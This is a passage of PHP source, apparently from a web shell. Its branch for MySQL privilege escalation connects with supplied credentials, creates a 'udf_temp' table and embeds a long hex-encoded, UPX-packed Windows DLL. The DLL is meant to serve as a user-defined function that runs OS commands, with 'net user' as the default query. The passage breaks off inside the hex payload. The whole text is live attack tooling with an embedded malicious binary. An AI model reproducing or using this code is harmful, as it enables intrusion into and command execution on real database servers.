<input type="hidden" value="dump" name="dump" id="dump"> 
<input type="submit" value="" tilte="Submit" style="width:120px;height:64px;"> 
</form><div> 
END; 
				}elseif($o=='tq') 
				{ 
					extract($_POST); 
					extract($_GET); 
					$post_sql = $post_sql ? $post_sql : "select state(\"net user\")"; 
					if($install){ 
						$link = mysql_connect ($mhost,$muser,$mpass) or die(mysql_error()); 
						mysql_select_db($mdata,$link) or die(mysql_error()); 
						@mysql_query("DROP TABLE udf_temp", $link); 
						$query="CREATE TABLE udf_temp (udf BLOB);"; 
						if(!($result=mysql_query($query, $link))) 
							die(''.mysql_error()); 
							else 
							{ 
								$code="0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E327325A00438D7DA883CE2D656B0763CE457537E59B512FD8B7C1028B8B8596504522D9BE1B6144418D4DA885C977DD1696139C2E06249C238D472834160750D28954283B70800CF2C67526537547C84B6CC025CF070D048CFFFEDF5EBC8549E4200866E4516A28AE11DB6E61BC52F88D2072229D489AB3985D2C1D8B35781C88D11B302A6C37DF5968311659FFFF1151BE82B96D42D6FC84FED51052D985CD06A5091CEBC5BA94506052022C069E0F3981C511788FA404FCF68450228B75087CC0807E09060A4B775B71A85F8B5E0C20D469D9D115CEF92011C8B80D124CB6177EA98AB6E00FC1E0028BC803C604C468141ADF02CC33C98A7DBFB566FBEF5E4CC1E102058D14018955E0803A4D4F586F8F818BB9AA01CC8BF2E266F3A7ED0CF26C164102C0159D0542D875477205B04C2C3908C10D00DA6E0D67EF1968D007001034E90B8795BC59C82DED1533F607B80774C03FFB9009C183C206298A023C2167DF7FE9743C843B1B3C0A741788843530421B46D889846744EBDB7FB907CABBFF6F29B6B53C33D2F3A6753B88954C0BB918D962C860784DB34C76739038C0B10B6C68E803C59378271EEB254A1D8E236534B0301BB135728144C60F4F9400D7493C77C7030B5E382E81D8BB7F1A837C2410027513060405750C5B6464046B5F23C357084F179213C888140525F1ECA263810C5456C9134CD8C9C22CBD4FE485DBCEE499566BF6CFE0FA8BCB2BCE490C0804904BB80768042700E0FE397221F724434558E0FE8108D87B96002F8BFB1B2A2327837CD98BFACBCB5073BCC8855098E0FE8D6FBFAC03B7B10DCC63DC0DAF234B21D18DC47AF02AFA7A568F638FA2C0EB0C0354AD46F2C505EED48821B01A60A081C4112684C3CFF4425689FF3B77D77857040CB911280D108D7C2418F3AB8D4C243B0D069B6C1451AB343101BA0B041B0111E5724E64F06650720D553D8755FD04BA917466380E6E8D542408D731F62D925266181108435C5C8F4F4A761850514F9481106A5CDFBFEACC4044076C1589B424809674C67652DD247C03788C5FB65E56B87B49BCBFF0FF255B3CCCCC8D87D4E1674755E7F0FF42DF86C00D5F613C5D6C7904F74104868B23B8065423740F795CEFDCD7B7A5108902B863C33E1210506AFE5C908E7F40F864FF35A900198E1AB52529582FDDD5B4BFC0ED742E3B932474FA34768B0CB38959BD2DB50A02C304B394751268F7DBBFEDBD2DB37D0EAAFF5408EBC3648F0543236C7286EA8C1A648B9C8184FF83DF7904687510E3520C3951087505CF4D05BBFB5351BB1E18EB0A082489DFDCB7B64B02439D6B0C595BFCEF56433230069F0BF758433030F7A5FAFCD82C10DBD10C74F740E42682B58DD63E3F45F812E11B8D08B67F97AD3E21737B08C1618D0C76B18FEA6EED5F744556558D6B10A80B5D5E410B33BBE85ED633783C25534F0DD41D2B38D3AF560C0E168D36B7DEDDB6C5648F358F550C3B08C77EBF73301A8B348FEBA1B8DBEB1CC9EB15884DD67A5C003F5D16466F684394BC3B8B298B419FCC256BB4031824E1D763D9B66E20CF56BDE8C0E010E24785ED75EC423C0AE0DD5B0D1A7E4DE47F34168D5AFF3ADD766B1B92784D1C8020770D2450EDC3FF4884157559598BC65EC9C3CF8DDCFAF7D7B26B71151008C3B7E0772212C7424B4F0434A759913916BDF01C6C7410131E97DEB2C3568BB5FB05D7383B42565777216A091C1FF8ECA245FBA424020C91EF2059E1DB46ED38CEC7FD85F675032863FCDA7F5E83C60F83E6F056887CA4BCC65CE23B3A6BFC4D5716F6460C4074ECEFB75D15660CB2174D29730510B35652F790357329C54E308374342411FAFEE42B502AF7FF761007176F9B34F5DD7D0525EB128B461C530B5FD2A4D87B1C0059644B2A20B25628752EE34A467A86B386F62C591AE1D81E2DFA85EFFD0A7C092CE61D90280DE157F8ED397D08470F94C0485BC31630077AC31A6E5DF1025B5756391803BA23977D6097CA146A401A0CB8CDDCF7039B4DB4DD40743DFD6E78405720AC597B741356C220D7843337E11962410B5957B4C5DA2E6018CC07835328D00CBC3010E326ABA73DB884FB1147D903CB8BFEEA5A8A4614B8F01759C93A47FF7704A94949608563EF1B385B5E5FC93A00513D7DBB8B3B1C279772148111222E2D10B5B73FF685011773EC2BC88BC40C8BE18B596EB4A32D685036C10C576D747A9BF8BAEB74D9C614F7C64D8B197507F8B77803AB756FEB21F646880747497425FF6BCFBA26291F75EB2D1D5183E303740DEE5EEF66201D2F4B75F38492C3F7C79ED9E0FD2874123AFD8A116A9B3BE93AEE6C182EFA2AD1DBC2F6C82E89FEC7D074AFBAA5DB2FB523FEC70603D083F0E8C28B4F78E1BFF5C604A900948174DE84D2742C84641EF7C26FB7B7B90F580C070875C639EB18818C34DDA3E272090E00046A2BC45A88533F550A3B6CF7EBEE075F75F8B07585A3CCFFEFDE8DC6974E8A11F161698A7101DDBF2B74644F7719148A074638D07415D90BD3D2A573E30A0A75F5FC5F51E242173E10F0078D7E436102FE3B2A50DD4E1DC60238E075C48A410376EDDDEF31188A66FF83C11074DFEBB12F348AC26B74851B9030F28DBC0CC34C05C7DB88DFFC83F8F988CC078FA7DBC668BEA3068E58BEB2427EBB8EDE3CA10E680D075925DEC12DBDD1F7FB12102760891664950803C1EDDB50F3375C32F7750940EE78769BDDD8EB7256641CA4C03968098DCC7BB3D96D345204371B366231A8FF0519627F7FBBC8EB3E6B3BC1752C390D0D7EBDFF07E6FB0AFC0D8E90E128E6320E175A89D8331A64FBC25507514EADD87E11B259BF5833A569A363097D56B457C7105EBDC0D6BB09833D482926C101740547D36EA3040322DAA4C4E809F4AED9996EFFD0080CC113CC04BCB6D410BF4E0F07EB8D01C90C4C6D6FB0BB1737575023F6467926A315ED8034032125F71F0117396C115B083C5BD8B9E241C0D01A8DD4D8B1AE6176BA310E97D801DB78C041E03A9A3A3AD3C57DCD2A7D3B8130AB756C462D6C36BE025E10A882D2F6A840B9EEDAB61BED074AA96604071017DE6EBFF77F3F4E0824FE890E89462F1883657524EF0337F72D6E66A90C0115F981FE8B03BFC75A289C0748750BC03F32AE6ABFFDD7073E3EEE5966F7270801577467420BDCB65FAC3E2BF88D48390E581849A489DEB99EF04E047E10053CFE53DCEB3683FBF6CBFFDFBA198BCB8BC3C1F90583E01F8B0C8D93808D04C002B6F4B2D08196B88498F6F320F399B156A107783A260A4B2CD15C8A9E88E614B7C0C24A0D74885507DF40A12932DF4E0C20EB0FCC16B8760C7CEB080DC2C1C8A50E864C17064802DFBA95A1E6798A1F09DB8975F411BAD06E02EC890F0EF406D1B705D74A8D370641D00939554ABF7DF7EC0F8CDC1780FB207C1304787F0E0FBE50152EC08631717461EB02F8BE2DBCBB0F84C60E94C1F804A70789D00F879A85F652EC30FF24901DB2834803CBB22CDB55CC02D8E0E4FCDCBC6DBB4D5D1D954883E8E43B0403742DC1B55EA20B1F4848840DA8D2C56E6E594039FC082708041CB28C1D0111808002C3128E9EFB2AF9B9509B687613661E6CC80F8D12469B89985B8ED80E27B476CBB2ED170A666C4441D0EBE98AF03EED5C2E641EF0D305BF30E7CE63398D0489361B346FCBDB56AE2E046874206CB880FB7790495E2EA005804DFD10EEC6FFE4203F367514807F0134CA4747271FDA628680771888D0AA8568B7C6ED0D1C0FB6C3F66601802291EC50147E06131E28981DCEB0C18DCC35EB4733181652F39BE127F8670F8F1CE508650F8D9600F9EF43DB5811EBA9847817E8430F849FB96D5D836D70036C100CB8E903AF74A146C6BE3008CCC08B25430BFDF0BD68BEFACAC54BC21921D0ADAED4DEFB894DF844E7B1C92D0E2DE47EB981381229DC7477B37D212AD64E85D220D466833878869FED5DCA094040EBE721CC80C320136B1B74AB408FB8FDF3CAD14DDB955F708DCFF3F006CB1A0D8DAFF1660377862E8848BF578089043A953F5B008DD1D6C5F490323FD80C298EDDBEBDD35A7432040974C5487CE801521C97B3B345FE3A6C59882AF4471A183147BD2002BB8916359DDE6F2CF64580D9CCB97F74170FBF00D1E8E369E652D7D8C3AD2DDC000CBF0E94AE6DB4BE6E81344D50C28D8314670B2D826B25D5165C50CCA2B5AFD483C05E08F05D4B053B6C377540FC0EBCC8D18B851FB082B8F7855082FCC9C6057EB581E69E741429F0003506BE67B324205C595D12AF788432611654562D750DD0C2BB653A29BDB9E06157A758888D8459A619694899ED2C1D0C059E0684B686FB2C805184FD331B23B1CF05F77491C9C15DD4273C602621F62BC1D1F847FD340BDB0582F6288038AF03ECF1D728176B2624FE853D6B2815CC074DBB7B10D410A6FEF65D8A13C645EA3004516377CF60DF678845EBEB4821083BC202EB35D6852E09971B209909669F08CD2DF0EC668909050706F514EB0E296A403C0A69BF1FD6A05FA53A7959EB413D74218519637405404A0C0FBB641B0CF6C099EB250BB7C8F220AFC0ECC908EBE0070E19B8F5C6DB741BE37F177C1AC073115883D2D6E2C30D9FF7DA698BFAC90B1FDEE0B50577DC83E700B27D09161B2D08FD1B2AFCAA3AC0B6FBC60BC77509E40060B733D6DEADD55E614A7F0619EE0F765B5DFDF4995250578AC009C476409C5FDB6E372AC48B66C33007C017112CCBF6DF063E39677E03035DD440F8F847D75CF78818EBB5502B0C027F02A51AEE9B03611880393075A90A009BBBEB24400FC601301A98D825DEFEB1B6F4935DFCF6C3D226F6C716CF5A8386068A2D5C0F0A2BEB47369A970902740B20C1E475E06035B6ED2B75E402F4180C7884BDDB61A91B201EF0C41011CD7C37B703EA1402E45015342C9001D94C3E3104306F6B97DA893E7441058B7EFBBB0B97688E3B78FFDD034347C8502DFC54A443DE9D7E328DE9516EA164CF3B1759984FDB962DD802C7155802F4F860A50AC977AC79A5D7193808FBF97DF729B3456313F9E86DEC99D334B75BE01830031706216D30D1354DA4ACE11B7440C6126F55424F490478DC11BA6D6C74898A02FF0EB6300BB90233E098006C4E9468254A90D68C71D8A3AE4A83B557AFA9E0B06AEA7E21B618B714AB63DB43B9833E0D07207FE3B5B628B5908B5CE81A4BE6775DD73831263C1C35100FBE065746CDE7EC505F363FC34BE26D6C3C72BE9F580081008DAE0673520C083B4163B3A177D951FC1C661D6F8DE0B474E8500F41CC5204B4702D700B30027114E0550798688478EAA3365283702294BC5DF20D50600F6E85C0750F6C60A1FBCF373E5333DB391D15B4282D5DC3431B267E44D8B8013D0E74FB768AED8D700C5540785BFF36FFD70810E0916D800A6AFF7604626BC75EEAD59C14433B487CCED915DB812D1BB81D785DF6568CFDDB41DC7078158184FFD6077415CA2083644457D42DB983867CBE100A06FE2B8F3C763BD13474230774741B647413A8AE012344D398367B845CC52BDCFF007CC45A2067C106D76A07845D1003CA44F85083EAC716DE3C856C6C3407753E576A181F3B1A1F3C8BF8D4336A113542FB8D06BC59078C08005957750ADA0E78B31F78893EEB067A1D84D9607F865F281A805E5D60FF57605AA8B11584CC40A48B4F485801B7B87501172BC5D86E2508B00006B41217B770A0FBACC70505A48BBDA118AD96AFC18DB107B88858F0E16FC47314B5042B500C81FAB27207DB210C6FBB14EBE8EC321C556E34D5880C2E6A41DEF22BA3DF60A36A5AAFC2FC57C1EE7F37AA817FCE8B7AFC69C904D24B448D8C8E1A35C50144695D695685463BF80C13F6C1012E757FFDF4B46FFAED3F495F0B0C3BCF76038E8B4C13043B03BFF84D4BF4486783F920731CBF2CD3EFBFFB5FE88D4C01C4D7217CB044FE09752B752139EB2483C1EEC15CB0E01E2D21BCB0C4124AAEF174240679F04D42ADB519DB55890A040803630DDAD6FEBB088C8BFBC1FF044F83FF3F7B865F2F5167A8DBBDE197ECC4422BE20562AEA711A188F8495ADB5AF7E6A464760589F3CA411BFB40ED56E09F3E3BFA76028ABF746B2E9101DB4C69BE51BDBA16B9E491EAD22154111E96900F0BBDD221944C72B66DB152BF49BE4A0B04658BD6CA0811910EECB610F9D40939B68900B2F9295B73DD1B0B26892F0E05087FFB652B974A638A4C0704EF20884D0FFEC1FDEBE2BB880B7325807D0F55BB888BCFD3EBD81A25DB7609190DECB109B10BC436592924DC4FE019D821B8672559040F9D84B7F0DFC0F009388B54D0891A895C13FCFF086BAA0FB348FA4EB09CDFA6AFFFACEE0D0DA80EC1E10F03480CBB03B159E9581653513A1F32068B3D081C0950080E3940DDCDDE0D31A4886C570FFE48431C7BC39F0A481080794313836004FE118378D65AA61D106C5310785A124642882D0910C9F48D72F5388B15F21430C1C2B146DA282BC892110AD307BE708D48145170411C6D428DF767FA85B43B05223518BFEEEFD81496B88905ACEB0324A3AC8935B0493138532A6627F7AE142F68578D3C822C1B8E0ED3C6481776F0176A4934000B6FD57D0E56D3EE83EDFFEE0BE0B899EB1026BE33F6D3E80EC62D3E173049AC0F3BDF7FBF5D58E20873E14BE13B232B23FE0BCF75DDAE718B0B24143B9A1872E707756D26E4FB798BDA3BD8261505EBE6740BD7A019AC24C2837B3C3BD72A68891337EBED2681397B870D1B2FEEDBC8DC7646270B7B85DB90530E61DBE2F6BC595B1089FA43A8386C75EF6E6B071BE91406891DA5148B886F0BB016FAFEFC2D8B8C90C4B6B387FDAD904488378B127011557DA1A156DD1F000E440BD68B563077BF0B75178B91841CFF45FC04BF35EBA6FFFE23390BD774E98B97CA33FF5C5A741B87584D764C57CEE68DBA12C166EC645F9DBAED0AFD7C05D1E147EB752054F9430A2BE956EFEA7FF17BC1FE044EDE3F7EF83AC9DCB85E3BF79B0D0124617421206D207D2B11A27C383AEEFEB69CD3F3EC235C88448903FE0F75EA08B181F48E7B210BEB31172B5CBBC56895A1322119293673148215982C85220AA6D76593C07A04F80095AF3F4735D77A089084C5A97CF10348AD6D420CA522C264A974B32C06FE0B7D29C499C636576A0B331162BFB0CE6EBB64978C093B0A8F097CAEEB2FEF437AC0280D8D4EB6097B04B15C8F74B1BCAD16BEEE09376A2EB7F4AEF70B890A8903FCB2790DBFED56AE03D122011232FC9F8B34126FB70E218D790F3E751AA9B0A011A92BDC4B3BA406A49772C16B119C8D420408A1C41769A10220A489C09A6E6D44B6305F89507250D401E924E15797903B319841A10B889CC0930BF8653DB868C4411B45CBD81233305C81335C89834517F04610742A1B20655783363A63198CB014BDA5461C586460B47CB1856EAD4E24C5897E060562244A196A41B98BC36E74F1E051DF3771C84108343B5A2DDCC54FE043C331B63E6E3769C0815AFB3082C3026CB745EA40080204DE4A1E88D0AD5BFB85C1E7DF790C47A68686BDE88B3B08D13768ED4D2728B28D97101342773C47834BDB8D477748F283887EF4368379778D88FC06C740FCF0420EEFD0E77E01C24804C780E810140517EA0D7E3B48F09676C78B744F0CEDADFBC405F8FC015F2689AC8D4A0C087FB8BD6C8F41649E4442BC9EE38A46438A6F75D78DC80B84C07A884E43A30978047050608CBA2CCB687EA5266189BDC3ABA031BEAB17B614AB5ECCB80002BD063BC67D07EE07DA5BA319DB134451590D8DB535C5949808211256F4A0FA648B9018E21A33C9B874EBB7193D601519890476C020D46CEFC0D50884887CEA1CBA187C8A05A09A5BFE1134B5E055539F8B04865274C3F02F5E586F0A20C220418D82787CD1AD76BBA8A29BAC80448E8C458D3746DD05E97ADEE9B96A61A796EDDF72175F6877102B56F8C03B75466E436659C37CD780A065A52718F8141E1E722A5B76E9225120592139250384205934F449A884E2948073382CC6A1FE435607F644810401741D57A86F7264B348442A7448A3FCC6CF50E245D2C775C00ADB83F4E16C668AE85C39023A3E046A9095C4166A02CBDD6BC416264B1F593BC71C196610672B59CD696F29DA19821C24DFFF1D0A05DCDB4783A383E61FF3EF8A0635FAC7A40CF68064880400C60851AE70BF7F5F597D0FC1768182434EA883C3A8FC63B4B42A197808CA6681660CF7FB3360DBD2525E06900802042A635FC5A8648605C2F6FD1FE5EA460D409C6C48C5F7D8595E1B4B5F015E991B2E0C8957FBF609705C8080F9D53766A908E0B36F1368317B907E2657503BBFADE0401BD00E8B8074DC0DB4EB0E24FD07EB072483CBFF30351A9B81EF8B5FF6F5C154F85CC185B5ACF1279788D15A63F90E7A593917EDF118D97E74A1BBFFCDA30AA57A745FF6401D32AAC18561ECA218591A8517DFBB806DC11830AF01750F505222BC80D608851D37C597B58E4A50FF028B1A7536B654EC020BF841CEB04FF44A9DE370EC463B737C8CB1423914D98487B70160C37402FB5B36E42806FDA08A7477A50538839E890BA9639456E1A05FD68E48A06017858ED552908E4C6B80C4EAAF3109BB47752053951FDA5B57F7079E8D4614759F0658A54A340BA518EB56044261DBB65E097E123E0704C53F7CD5E1EE02115B5F5B5E95DD0001C3A150DC9BBA831B0B3F6116D080660DEE6118962668025B6C02664959538926F4317D0FAF7D10012334068B5B078BDF3C2E9A45D7CE0AA8AE74157E457AFB96A27C4014A78B7781E10868B1ABEDE67429191174229580AB1616697212F863F186A53FA9495C297E393EF62BDF017D321EBC6CD046147246CD63DA56A250177A4E74D391EDADDDBBD2F76B402BFAEB42FBE3F66B1935744701982BD83F1A608976723EB00729D10F234482252450E9D42E4AE0BE169FA44BA586D8080CF1A7264385F0385DD08157106F6A23B633A465C72B7483E7FE545B3CCF56C179148A0141CEF06CA387400E75F1B3ED814975AA01605E2CDD0623955CE88AFC2B32B9A7BA51C724A95E1306B6F57EA30719EBCD8D41FF559CC309824C32C9FEFDFCD126301C8687398FA4DF221A7A0BD2F86E8A073C61051BB4F4741A3C727C3CCC22BFD1D675FE0192EB20C99601EB08B909786157731209405A8A1D473AC31DB46DB6B5E33BD307DB60BEF652DB85C016547F3E601A2B74450475DBD6F21974360E61484CAC1F39FF2C98AD6108A328FC83C920EBB72F7D2063148E10EBA22240757D0BA54D6F0940EB982C7573E993E6006EA0B7FC0F0281CE0DEB82B8BA7D5C782AC8860BC834DB656274BE8BB60DCB2E070B42067540F6C5B6B7D8B7C73B80CD401E63F8752E5FF89315FE0A37E6FFBF9B16175DECD521CE84163A741DD9621B8DD20B418068A4D71362C3242210EA4C917EA9543C7DC4103BCB7D701A2C68DB12B73A896A89588018040859334A6C021C82005196FB871825A0590F8E9D7855AE209F1F3BC374377521509175ACB30D1BB16D14501D16E97FEBC4EBBA3CB1EB446A38C1E602C23268066B62600E56063A65306C327A7815DE4B1B96B3273CFB384F108C5F58DB56B604020CBF1F041C7EA1819D355975CC00D885F6E36DFF118DA424AB8D6406075AD5AA838AE5531FE0FEC7780B3708F7C2DB138A0A4238D974D18437EACF9683511275ED0BD857FBE310281E4BB5560893BFE5F8F18D6E5D33CB0365F983F1FFF0CF33BF3F4A3770C204EEF3751C250674D37F51D83AC508C1B475C45E357E0B5A808C8B42FC38D867A67BD33713EF38DC742717E7C1E81012157BD66E9ADC06D4EB962DB142FE377A38279D06FDFC0494C36B20EE5002FFD0371404E634449EEF32AC0E0400F3C3F32CC015505431F5DF64B1025F0E57299A11FC45438A3999947511064E18C1096C987394302FFE36C50C00E714892290881DC2F5115EDF753C8690D7C58C568D71E2EE112F52F07213AC9A83EE04883CDFC7349073ED5E972018AD20CF57A1102824851B7B7F8D5BC50BA35FC3816A9480BC60711B88116A0DEC08B25DB038E194D7730D70F6B55660C6FB6A192A6339BBB1C935A4F6C08490546A74E2A0D18E50ED8BF06B7875239F5A93565B8490A04018A50A8CFD37333859109C0462BF193868305333528CA116131E782F690E182FD118D1D80D41C3BB505244A06D10F00653BE5660368B9464F20D1CD94730B00D3F8A26684BC9911588EB227536D99B1059ACF545305BC392D09113D0022FDB610D506E746CF12499906D19450D283009999009384098EC9D9044503DEE10560B0EECA4FC00CA5E4F16D4E81A48506896046AD2546CF4691B8DA62874879FD9942100DE784F9B862947731E8085F74FECDD0EFF8BC646050AA127E253F4A8DF24051FEBDE784B518CBAC46620EA001F5B9B86281ABBC6388DD98DDD02AE1A81EA7D0851F8BAB787897C79E3677D56BE4C84983D04CB930D83839A1F6B556AC082C1731C806008F6D6A55960408B0E882481C1806DF5CC31E06D4D7CB76E8B130D1588092ACE4C3B04BCB1508BAAF926388A03BE126DB4BE32527572AABC04ACA41A4123404AFD37E0487D8B0989088A0B88488F05BE558B0AFC3BF77CB485016FF04E5B23333C81FFFDAD50BA3C754D290E2F75056AF658EB099B09BA92C348C397F50DC96E1BD0B84AFF7A175770340A9D800C5B0A25C1068D1B9906804BA40FEFB6700D540A0A700405804383FB6130F2E1037C97B89480B40638B491DEBE7B5E375778A8F0056E4673218D70837BFC00FB7DC26DAC0B7C2083C79683C324C8D00CBA2072E2854824720F338825B85473C487A01D94885B155434811237F8D58DCC6B8A069ED218A996783C3D74A756FA8DC26D4B140AC3E8F9BD581D3F9EF1C63B3BF3318E74410955BF1D267B41381F74395583D8ED8F348BE85945803F49225534521DBBCC54C02E579D4F6C67C4BEFD9A5903FD3775C95DFF84C28934C768BF1D0B891EAE9484015BA2BBB25983BDBE8A98994FC1A75456530DC0A15A84E38FA2848BFE3818747463A5FA7DA307FC5053539F37B4040B0CDB05C90488D486186DD8A46BD6A1082F2700C34A7424864635A6A08D355F485A6C9C9232B1458A68B14C18D147EFF317208321008B7510C700B50156B0802BEF4937A05BFFDFA0AE80382275448A50014080FA22FE84AE1B2FFFD274250FB6D2F68292610425FF012B3B3256FA068A108816F60BD5EBCE0C6E6FA11124CB46401CEB43F2B645C61E05044044DAF683D6DCFD5B1918881E4665207409090870ACF5F20975CC750348C34A66FF9A5AA946B5674EB5E003F0BE66442B052787A281993117C8BC15CE169739FF02FB0885FA5AD0B8225C75C8DA922C7FE1C6AD02752541397D6D0D807801228D86257A6BE31D8BC2EBA3080CF0DB770416180F94C28905D1EB8BD34B88F6EF02F30E4388C6065C46B16AADAE355980A74A4693682E4C67168A3F863D1306ACDBE32E2819E2061F7303C2091B0F400315016B43F850BF38A0300F0E95A9E1EE6EC70383278E140246DDD1306449258F9C5378446DA830D4E06CF633141A8DCD4D04D50E0B49180F407B7B21892858CC428BC6D047F317EA10C700CE1B02433A45DBACA33CE581430C3F27C2BDDD5A3766391E6AEB4040081875F96DFC419F06F22BC6CFCCD1F88E40DA2A5AA3025D038A345852EB0DCCE83BEBAC3213B75683C9AC1C55508D3A57D05C242521D20C10CAB56A90275C2703F6756B0C92C888EB53624CA54A0592B985B1566089DFF6858D740A40387BFB04F62B223760495B6A55CE03F6EB727180A50BBA560F91E248D0CEBAC4BA9E5D5B20070261ED572A381026E821681A536C106A7450A213FF153A152B3859450C163A448330D4653B5BB95BD0D7EC084144F77CF0DE6889F134F18E033B961ACCC230B7471C2A6C45E8F75437E9700D10D77AFA75037A08B60BF18F5CBD59A522560055016B47C1BA30131750E0506DD65B3A3B591257D9BD07A8D6D90B3040963C76291950BBFDBE7076F80D838D6A0303F841DC5739B99D10B3105560FFC05D36763610570C7C1DBC7D36EB9E10FFB6D3C41611681020F8F6B9ACA927945450592C5FEB26165A6C81A38D30C7F23612B1DD0482086AF4D56CC881110FD85EC90E40C128265325F34226D911163C8B14C0012B0C8329EB2D3983D71C90A756F6DC784CC8D5EB7438B125213EF950E99ECEF2B2D61C11A9AEA880643C287BEEFD8DAD8AD73D63F3831881D51404B03582AFB210EA02F01B61E0594E3EE9B3B68D4B38F7881CB50C80F4C025622BC08B03317E30641C5E45AB0EE3A24C96880D535B24C67C80066F04368EC1F10C5229231AE3AEF90F86EAA0ECF1EE5BD5416E2BB64D1073290AD62EB045A58A95F90A7409FFDEBED0F02B0D408808EFC88D95292BCA81F9883D3655127CCC8911DBE3393ABFF4130D6B71FF85A061C634300C6343065FB6F6D20145E8C77C0B0964454510728A9960E96DD98B134E90464868B5BF8B74626A055E39B51D177F2126FC8930EB41B456EBC78D4DF4575CE6BA01B310FF43640B2EBB51CED14FEBA72C9C1EDA241C06E02C9720405AE8A015F52CEA1A10AA6C4FF24D666E1C38EBD2A4F007458258DF02F1B516CC808C6E6DFDFEAD068E6583490C08C741181BEB1103CEDDC80C494114181276D4525CA25E83618A011AE0188DF93B377203DCC883E17018AF362C368AD1A1D81C331340E58CC009FC7591345730E486E0D55BE159519130D716D76A138E1DB69AE51E5B00DE3FB41B155A22DD0CF3A00AE11ABC7A1EFBD82BD7246046735A732844BF5A020BA68FCC6C5DA0702B700C66C8077739D80A6DA14BDD581A58B26575F1A436CF51A08B84600C33C2CFBD1A506820CF118FDC6DCCCC208C4106F80E3A2AD716B6195F41CC00CDFB55B88A6D180B7718CFE8BA37C2F72AF18BD8090C07D31139A050D60C3215FCFFCF4913D1E9D1DBD1EAD1D80BC975F4F7F3B014B9B684643D2150F7EDEEBB2F7DD1720E3B27770872073B2B76014E4C4B56D84A7FDEC27F6F2A0E7AB3D96E506EA833B6517405C203506E10DD66C85E0C156EC814910410BA37CD606B0C0E0876082BBB1B406CA6DB11140708BDDA264103BB27DA007C3F26A8742AA6443D71A376E9C18BD1783BFE3DEF0F82800E036A738314ED6F4BDC8183E2EEF95E29F3A5FF249513A9F1DFD6426811BA1C83E904720C0CB136DB8F62C86D41801E8D789075F3B9C70741FC900403BCE023D173DB852F1188078A46BE470105025608938C2D5B59C6C75CCC8D96652CD949002B25010202EBCE2679A690234621473F5DD70DE48C065F034C0744374DD3343C342C241C8B44344DD3FC8EE489448FE4E8E8ECECD3344DD3F0F0F4F4F8CD39324DF8FCBDD7007B87B01027F809FFF00305399AA6808CA0BC6C36B0D766909D0BF91133240417A30D0A2BB8555B0D2531C639FCD8F692417F240DFDE3FC77823BC2E54400F7D96543B04B8F779E